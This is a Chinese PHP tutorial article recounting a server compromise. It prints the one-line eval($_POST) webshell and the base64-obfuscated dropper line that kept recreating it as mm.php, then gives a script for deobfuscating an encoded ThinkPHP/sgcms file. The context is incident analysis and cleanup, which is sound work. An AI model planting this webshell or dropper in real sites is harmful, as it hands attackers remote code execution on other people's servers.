PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

时间:2019-12-15 15:48     来源/作者:PHP教程网

今天一个客户的服务器频繁被写入: 
mm.php 
内容为: 

复制代码代码如下:


<?eval($_POST[c]);?> 


最后查到某文件内的第一行为以下代码: 

复制代码代码如下:


fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); 
base64_decode("bW0ucGhw") //mm.php 
base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") // 
<?eval($_POST[c]);?> 


这样,只要这些文件被访问就会自动创建 mm.php 
如果你发现了mm.php,删除了,以后还会再有的,真是越来越变态了~ 
下以相关内容 

复制代码代码如下:


PD9ldmFs //base64_encode("<?eval"); 
ZXZhbA== //base64_encode("eval"); 


还发现一个ThinkPHP框架—sgcms的相密文件,内容以下: 

复制代码代码如下:

这是一个用来打包成zip的php代码,这些鸟人为了黑别人的网站什么办法都用,真恶心~~ 
下如是一个高人写的ThinkPHP框架(sgcms)解密程序: 

复制代码代码如下:


<?php 
// This file is protected by sgcms & provided under license. 
Copyright(C) 2007-2010 www.sgcms.cn, All rights reserved. 
$OOO0O0O00=__FILE__; 
$OOO000000=urldecode('th6sbehqla4co_sadfpnr'); 
$OO00O0000=21496; 
$OOO0000O0=$OOO000000{4}. 
$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; 
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; 
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5}; 
$O0O0000O0='OOO0000O0'; 
eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwM... 


很明显,是使用了某种PHP代码混淆工具混淆了下,Google网上搜了下,问题解决,给遇到同样问题的朋友一个方便。 
解密php文件: 

复制代码代码如下:


<?php 
$filename="GlobalAction.class.php";//要解密的文件 
$lines = file($filename);//0,1,2行 
//第一次base64解密 
$content=""; 
if(preg_match("/O0O0000O0\('.*'\)/",$lines[1],$y)) 

$content=str_replace("O0O0000O0('","",$y[0]); 
$content=str_replace("')","",$content); 
$content=base64_decode($content); 

//第一次base64解密后的内容中查找密钥 
$decode_key=""; 
if(preg_match("/\),'.*',/",$content,$k)) 

$decode_key=str_replace("),'","",$k[0]); 
$decode_key=str_replace("',","",$decode_key); 

//查找要截取字符串长度 
$str_length=""; 
if(preg_match("/,\d*\),/",$content,$k)) 

$str_length=str_replace("),","",$k[0]); 
$str_length=str_replace(",","",$str_length); 

//截取文件加密后的密文 
$Secret=substr($lines[2],$str_length); 
//echo $Secret; 
//直接还原密文输出 
echo "<?php\n".base64_decode(strtr($Secret,$decode_key, 
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')). 
"?>"; 
?>
